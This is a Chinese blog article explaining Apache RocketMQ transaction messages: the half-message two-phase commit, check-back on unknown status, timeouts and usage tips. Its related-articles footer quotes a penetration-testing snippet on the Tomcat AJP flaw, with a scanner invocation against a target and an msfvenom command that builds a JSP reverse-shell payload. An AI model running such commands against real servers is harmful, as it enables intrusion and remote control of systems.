RocketMQ的事务消息是如何实现的

news2024/9/24 15:22:37

什么是分布式事务?

分布式事务解决的是多数据源数据一致性问题。
事务消息是 Apache RocketMQ 提供的一种高级消息类型,支持在分布式场景下保障消息生产和本地事务的最终一致性。

为什么要使用 MQ 来做分布式事务?

举个例子,假设一个电商系统,用户下单后需要扣减库存、扣减账户余额、生成订单等操作

传统XA事务方案:性能不足

为了保证上述四个分支的执行结果一致性,典型方案是基于 XA 协议的分布式事务系统来实现。将四个调用分支封装成包含四个独立事务分支的大事务。基于XA分布式事务的方案可以满足业务处理结果的正确性,但最大的缺点是多分支环境下资源锁定范围大,并发度低,随着下游分支的增加,系统性能会越来越差。

基于普通消息方案:一致性保障困难

将上述基于XA事务的方案进行简化,将订单系统变更作为本地事务,剩下的系统变更作为普通消息的下游来执行,事务分支简化成普通消息+订单表事务,充分利用消息异步化的能力缩短链路,提高并发度。

该方案中消息下游分支和订单系统变更的主分支很容易出现不一致的现象,例如:

  • 消息发送成功,订单没有执行成功,需要回滚整个事务。
  • 订单执行成功,消息没有发送成功,需要额外补偿才能发现不一致。
  • 消息发送超时未知,此时无法判断需要回滚订单还是提交订单变更。

基于Apache RocketMQ分布式事务消息:支持最终一致性

上述普通消息方案中,普通消息和订单事务无法保证一致的原因,本质上是由于普通消息无法像单机数据库事务一样,具备提交、回滚和统一协调的能力。

而基于 Apache RocketMQ 实现的分布式事务消息功能,在普通消息基础上,支持二阶段的提交能力。将二阶段提交和本地事务绑定,实现全局提交结果的一致性。
image.png

Apache RocketMQ事务消息的方案,具备高性能、可扩展、业务开发简单的优势。具体事务消息的原理和流程,请参见下文的功能原理。

RocketMQ 事务消息实现原理

RocketMQ 采用了 2 PC 的方案来提交事务消息。
而 RocketMQ 高级特性之一就是支持事务消息,基于 RocketMQ 实现的分布式事务消息功能,在普通消息基础上,支持二阶段的提交能力。将二阶段提交和本地事务绑定,实现全局提交结果的最终一致性。

实现原理

image.png

  1. 生产者将消息发送至 Apache RocketMQ 服务端。
  2. Apache RocketMQ 服务端将消息持久化成功之后,向生产者返回 Ack 确认消息已经发送成功,此时消息被标记为"暂不能投递",这种状态下的消息即为半事务消息
  3. 生产者开始执行本地事务逻辑。
  4. 生产者根据本地事务执行结果向服务端提交二次确认结果( Commit 或是 Rollback ),服务端收到确认结果后处理逻辑如下:
    • 二次确认结果为 Commit:服务端将半事务消息标记为可投递,并投递给消费者。
    • 二次确认结果为 Rollback:服务端将回滚事务,不会将半事务消息投递给消费者。
  5. 在断网或者是生产者应用重启的特殊情况下,若服务端未收到发送者提交的二次确认结果,或服务端收到的二次确认结果为 Unknown 未知状态,经过固定时间后,服务端将对消息生产者即生产者集群中任一生产者实例发起消息回查。 可以通过配置服务端回查的间隔时间和最大回查次数。
  6. 生产者收到消息回查后,需要检查对应消息的本地事务执行的最终结果。
  7. 生产者根据检查到的本地事务的最终状态再次提交二次确认,服务端仍按照步骤 4 对半事务消息进行处理。

如果一直没收到COMMIT或者ROLLBACK怎么办?

RocketMQ会向应用程序发送一条检查请求,应用程序可以通过回调方法返回是否要提交或回滚该事务消息。如果应用程序在规定时间内未能返回响应,RocketMQ 会将该消息标记为“Unknown”状态。

在标记为“Unknown”状态的事务消息中,如果应用程序有了明确的结果,还可以向 MQ 发送 COMMIT 或者ROLLBACK。

但是 MQ 不会一直等下去,如果过期时间已到(默认 4 个小时),RocketMQ 会自动回滚该事务消息,将其从事务消息日志中删除。

第一次发送半消息失败了怎么办?

在事务消息的一致性方案中,我们是先发半消息,再做业务操作的

所以,如果半消息发失败了,那么业务操作也不会进行,不会有不一致的问题

遇到这种情况重试就行了。(可以自己重试,也可以依赖上游重试)

使用建议

避免大量未决事务导致超时

Apache RocketMQ 支持在事务提交阶段异常的情况下发起事务回查,保证事务一致性。但生产者应该尽量避免本地事务返回未知结果。大量的事务检查会导致系统性能受损,容易导致事务处理延迟。

正确处理"进行中"的事务

消息回查时,对于正在进行中的事务不要返回 Rollback 或 Commit 结果,应继续保持 Unknown 的状态。 一般出现消息回查时事务正在处理的原因为:事务执行较慢,消息回查太快。解决方案如下:

  • 将第一次事务回查时间设置较大一些,但可能导致依赖回查的事务提交延迟较大。
  • 程序能正确识别正在进行中的事务。

参考

事务消息 | RocketMQ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2046393.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JVM对象在堆、栈、TLAP上的分配

文章目录 前言堆中对象的分配策略大对象直接进入老年代 本地内存分配缓冲区(Thread-local allocation buffer)对象分配在栈上逃逸分析概述演示发生逃逸的对象演示发生逃逸的对象StringBuffer不发生逃逸 逃逸分析之栈上分配逃逸分析之同步省略逃逸分析之标量替换 总结 前言 一般…

WEB渗透-TomcatAjp之LFIRCE

LFI https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner >python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass配合目标文件上传传入服务器 RCE >msfvenom -p java/jsp_shell_reverse_tcp LHOST192.168.0.107 LPORT12138 R >/va…

C++ | Leetcode C++题解之第338题比特位计数

题目&#xff1a; 题解&#xff1a; class Solution { public:vector<int> countBits(int n) {vector<int> bits(n 1);for (int i 1; i < n; i) {bits[i] bits[i & (i - 1)] 1;}return bits;} };

Windows安装MySQL时出现Install/Remove of the Service Denied!解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

计算机毕业设计选题推荐-医院问诊系统-Java/Python项目实战

✨作者主页&#xff1a;IT毕设梦工厂✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…

Java语言程序设计基础篇_编程练习题**16.17(使用ScrollBar和Slider)

目录 **16.17&#xff08;使用ScrollBar和Slider&#xff09; 习题思路 示例代码 结果展示 **16.17&#xff08;使用ScrollBar和Slider&#xff09; 编写一个程序&#xff0c;使用滚动条或者滑动条选择文本的颜色&#xff0c;如图16-43所示。使用四个水平滚动条选择颜色&a…

【STM32F4】——DMA初始化结构体详解

一.DMA_InitTypeDef 初始化结构体 typedef struct {uint32_t DMA_Channel; //通道选择 uint32_t DMA_PeripheralBaseAddr;//外设地址uint32_t DMA_Memory0BaseAddr; //存储器 0 地址uint32_t DMA_DIR; //传输方向 uint32_t DMA_BufferSize; /…

售后服务认证的价值:权威认证带来的全方位优势

在当今竞争激烈的市场环境中&#xff0c;企业要想脱颖而出&#xff0c;不仅仅需要过硬的产品质量&#xff0c;更需要卓越的售后服务。售后服务认证作为一种权威认证&#xff0c;正日益成为企业在全国范围内展示服务领先性的关键工具。本文将详细阐述售后服务认证所带来的多重价…

virtualbox 安装 win7 系统注意事项

win7可用ISO镜像 virtualbox安装Windows 7 64位旗舰版 &#xff08;包含镜像文件&#xff09;_virtual pc安装64位windows7-CSDN博客 视图设为了自动缩放&#xff0c;没有菜单了怎么办&#xff1f; 通过按右侧CtrlC/F/L进行切换 复制黏贴不公用怎么办&#xff1f; 宿主机有…

《计算机组成原理》(第3版)第10章 控制单元的设计 复习笔记

第10章 控制单元的设计 一、组合逻辑设计 &#xff08;一&#xff09;组合逻辑控制单元框图 简化的控制单元框图&#xff0c;如图10-1所示。 图10-1 带译码和节拍输入的控制单元框图 &#xff08;二&#xff09;微操作的节拍安排 安排微操作节拍时应注意以下3点&#xff1a…

OpenCv学习-python

一.OpenCv介绍 简介 OpenCV&#xff08;Open Source Computer Vision Library&#xff1a;opencv官网地址)是一个开源的基于BSD许可的库&#xff0c;它包括数百种计算机视觉算法。文档OpenCV 2.x API描述的是C API&#xff0c;相对还有一个基于C语言的OpenCV 1.x API&#xf…

生成式人工智能服务大模型——安全评估要求

&#xff08;推荐性条款是指能愿动词为“宜”或“不宜”的条款&#xff09;正式稿许多调整有调整。 自行开展安全评估的&#xff0c;评估报告应至少具有三名负责人共同签字。 单位法定代表人&#xff08;表述更正&#xff09;。 整体负责安全评估工作的负责人&#xff0c;应为单…

多串口互传指令代码遇到的问题

1.首先是字节格式&#xff0c;因为串口底层是一字节一字节的传输&#xff0c;所以每个要传输的字符与16进制数都要经过设计一定要保证是一字节一字节的发送 下面是把字符串拆分成字节一个一个发送示例 void Serial_SendString(char *String) {uint8_t i;for (i 0; String[i]…

泛微OA流程监控设置

泛微OA的流程监控设置问题 简单介绍 给流程设置监控主要是为了对系统中流转的流程进行相应的监控&#xff0c;例如对流程进行流程干预、强制归档、删除、查看等操作 如何设置 监控设置这个需要有相应后台权限账号的用户进行设置&#xff0c;进入流程引擎----->监控管理-…

用uniapp写app,想要打包后横屏显示的方法

在网络上找了很多方法&#xff0c;打包之后都没什么用&#xff0c;该竖屏还是竖屏&#xff0c;挺无语的&#xff0c;最后试了一种方法才解决了打包后也横屏显示的方法 在 pages.json 文件中&#xff1a; "pageOrientation": "auto" 这一条属性即可 设置…

可视化大屏适不适合组件化?报表类的很适合,数字孪生也可以

有小伙伴们问&#xff0c;可视化大屏能不能组件化&#xff0c;其实没问题的&#xff0c;而且已经很常见 也很成熟了&#xff0c;比如一些报表软件&#xff0c;把组件拖到画布上&#xff0c;设置一下&#xff0c;对接一下数据源&#xff0c;很快就做好了。 即便在UI设计环节&am…

【docker】docker资源管理

docker资源管理 docker cpu管理 Docker提供了多种方式来管理容器的CPU使用情况&#xff0c;包括以下几种方法&#xff1a; CPU限制&#xff1a;使用--cpus参数可以限制容器使用的CPU核心数。例如&#xff0c;docker run --cpus 2将限制容器使用2个CPU核心。CPU共享&#xff…

iPhone如何全选删除照片:一步到位的清理指南

随着时间的推移&#xff0c;iPhone中的照片会迅速累积&#xff0c;最终可能占据大量的存储空间。无论是为了释放空间&#xff0c;还是整理照片库&#xff0c;iPhone如何全选删除照片成为许多用户的需求。然而&#xff0c;iPhone原生的“照片”应用并没有直接提供“全选删除”功…

软考学习笔记(0):软考准备

文章目录 前言软考的优点软考项目的选择资料选择时间安排 前言 最近因为某些原因&#xff0c;我又开始上班了。新工作是纯内网开发&#xff0c;那以后发博客的频率我估计就会很少了。 软考的优点 简单来说&#xff0c;软考考上了&#xff0c;大概一个月的薪资可以涨1000-300…

使用JvisualVM 连接linux远程服务器

一、添加配置 在 java 启动参数中添加如下配置 -Dcom.sun.management.jmxremotetrue -Djava.rmi.server.hostname服务器IP(公网) -Dcom.sun.management.jmxremote.port端口号 -Dcom.sun.management.jmxremote.sslfalse -Dcom.sun.management.jmxremote.authenticatefalse添加…